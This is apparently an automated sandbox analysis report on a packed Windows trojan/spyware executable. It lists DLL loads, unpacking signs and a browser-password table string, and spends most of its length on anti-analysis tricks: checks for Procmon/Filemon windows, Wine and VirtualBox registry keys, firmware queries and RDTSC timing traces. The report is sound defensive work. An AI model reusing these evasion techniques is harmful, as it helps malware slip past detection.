Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009F3EB1	0_3_009F3EB1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A28EC8	0_3_00A28EC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A28EC8	0_3_00A28EC8

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ZLIB complexity 0.9979611579153606

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@2/1

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2513475042.0000000005417000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090766741.0000000005379000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090552893.0000000005396000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 44%
Source: file.exe	Virustotal: Detection: 49%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static file information: File size 3008512 > 1048576

Source: file.exe

Static PE information: Raw size of temxaqpj is bigger than: 0x100000 < 0x2b3200

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.ad0000.0.unpack :EW;.rsrc :W;.idata :W;temxaqpj:EW;msmffagn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;temxaqpj:EW;msmffagn:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x2e3554 should be: 0x2eb87c

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: temxaqpj
Source: file.exe	Static PE information: section name: msmffagn
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A29FC7 push FFFFFFDBh; iretd	0_3_00A29FD8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A2A445 push esi; retf	0_3_00A2A448
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A23874 push esi; retf	0_3_00A23877
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009EFBB9 push eax; iretd	0_3_009EFFFD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009EFD19 push eax; iretd	0_3_009EFFFD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009EFC30 push eax; iretd	0_3_009EFFFD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009EFF29 push eax; iretd	0_3_009EFFFD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009EFE79 push eax; iretd	0_3_009EFFFD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009F252F push esp; retf	0_3_009F2530
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A29FC7 push FFFFFFDBh; iretd	0_3_00A29FD8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A2A445 push esi; retf	0_3_00A2A448
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A29FC7 push FFFFFFDBh; iretd	0_3_00A29FD8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A2A445 push esi; retf	0_3_00A2A448
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A4C7A4 push eax; retf	0_3_00A4C7A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A4E7B6 push edi; retf	0_3_00A4E7C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A4848F push esi; retf	0_3_00A48492
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A4FBE9 push cs; retn 0035h	0_3_00A4FBEC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A4CB3C push eax; retf	0_3_00A4CB41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A4A004 push esi; retf	0_3_00A4A007

Source: file.exe

Static PE information: section name: entropy: 7.9766605498847944

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAD57D second address: CAD589 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnc 00007FAB248C33E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAD6D9 second address: CAD6DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAD6DD second address: CAD6E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAD897 second address: CAD89B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADCCB second address: CADCD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0AD2 second address: CB0AED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FAB24F20E71h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0AED second address: CB0AF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FAB248C33E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0AF7 second address: CB0B27 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push eax 0x0000000e jmp 00007FAB24F20E79h 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jne 00007FAB24F20E66h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0B27 second address: CB0B2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0B2B second address: CB0B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0B3B second address: CB0B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0B40 second address: CB0B47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0D97 second address: CB0DF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 jno 00007FAB248C33F4h 0x0000000d nop 0x0000000e jmp 00007FAB248C33EFh 0x00000013 push 00000000h 0x00000015 mov di, si 0x00000018 call 00007FAB248C33E9h 0x0000001d jng 00007FAB248C33ECh 0x00000023 pushad 0x00000024 push edx 0x00000025 pop edx 0x00000026 push edx 0x00000027 pop edx 0x00000028 popad 0x00000029 push eax 0x0000002a jmp 00007FAB248C33EAh 0x0000002f mov eax, dword ptr [esp+04h] 0x00000033 push eax 0x00000034 push edx 0x00000035 jnp 00007FAB248C33ECh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0DF9 second address: CB0E66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jmp 00007FAB24F20E70h 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 jns 00007FAB24F20E66h 0x0000001a popad 0x0000001b popad 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push esi 0x00000021 push edi 0x00000022 jmp 00007FAB24F20E79h 0x00000027 pop edi 0x00000028 pop esi 0x00000029 pop eax 0x0000002a mov si, F469h 0x0000002e push 00000003h 0x00000030 push 00000000h 0x00000032 mov dh, 0Ch 0x00000034 push 00000003h 0x00000036 mov ch, C1h 0x00000038 push 6443FE38h 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 push edx 0x00000041 pop edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0E66 second address: CB0EA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jng 00007FAB248C33E6h 0x0000000f popad 0x00000010 popad 0x00000011 add dword ptr [esp], 5BBC01C8h 0x00000018 sub esi, dword ptr [ebp+122D3C15h] 0x0000001e lea ebx, dword ptr [ebp+12455A2Bh] 0x00000024 pushad 0x00000025 mov ch, ah 0x00000027 push esi 0x00000028 xor ecx, dword ptr [ebp+122D1EE4h] 0x0000002e pop ecx 0x0000002f popad 0x00000030 and esi, 7604BEB6h 0x00000036 xchg eax, ebx 0x00000037 push ecx 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0EA2 second address: CB0EA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0EA6 second address: CB0EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FAB248C33ECh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0FC4 second address: CB0FFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 add dword ptr [esp], 424A9F5Ah 0x0000000d mov dword ptr [ebp+122D23D6h], edx 0x00000013 lea ebx, dword ptr [ebp+12455A36h] 0x00000019 stc 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FAB24F20E79h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0FFA second address: CB1022 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAB248C33FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB1022 second address: CB1027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCEC1B second address: CCEC1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCEC1F second address: CCEC32 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAB24F20E66h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCEC32 second address: CCEC36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCEF50 second address: CCEF66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E6Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCEF66 second address: CCEF73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jp 00007FAB248C33ECh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF544 second address: CCF55D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007FAB24F20E66h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF55D second address: CCF569 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jno 00007FAB248C33E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF569 second address: CCF585 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E6Ch 0x00000007 je 00007FAB24F20E72h 0x0000000d jno 00007FAB24F20E66h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCFDB5 second address: CCFDD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAB248C33F6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCFDD3 second address: CCFDD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3212 second address: CA3225 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD04C0 second address: CD04C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD04C6 second address: CD04D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD04D2 second address: CD04EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB24F20E72h 0x00000009 pop edi 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD091E second address: CD0928 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FAB248C33E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0928 second address: CD092E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD44DA second address: CD44E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD67D4 second address: CD6829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jnp 00007FAB24F20E66h 0x0000000e jns 00007FAB24F20E66h 0x00000014 popad 0x00000015 pushad 0x00000016 jmp 00007FAB24F20E74h 0x0000001b jmp 00007FAB24F20E72h 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 jmp 00007FAB24F20E6Eh 0x00000028 popad 0x00000029 push ebx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC708 second address: CDC722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAB248C33F1h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC722 second address: CDC726 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC861 second address: CDC868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCB19 second address: CDCB1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCE50 second address: CDCE68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jg 00007FAB248C33E6h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 jo 00007FAB248C3400h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDA27 second address: CDDA2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDC62 second address: CDDC91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FAB248C33F3h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FAB248C33F2h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDC91 second address: CDDC9F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FAB24F20E66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDC9F second address: CDDCA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDF21 second address: CDDF2B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAB24F20E66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDF2B second address: CDDF31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE140 second address: CDE146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE6E2 second address: CDE6E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDEADD second address: CDEAE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDFC2A second address: CDFC90 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FAB248C33ECh 0x00000008 ja 00007FAB248C33E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007FAB248C33E8h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b jmp 00007FAB248C33EBh 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007FAB248C33E8h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 00000015h 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c push 00000000h 0x0000004e mov si, F568h 0x00000052 push eax 0x00000053 pushad 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0C25 second address: CE0C29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0C29 second address: CE0C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0C2F second address: CE0C36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0CBC second address: CE0CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0CC0 second address: CE0CC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE3730 second address: CE374A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
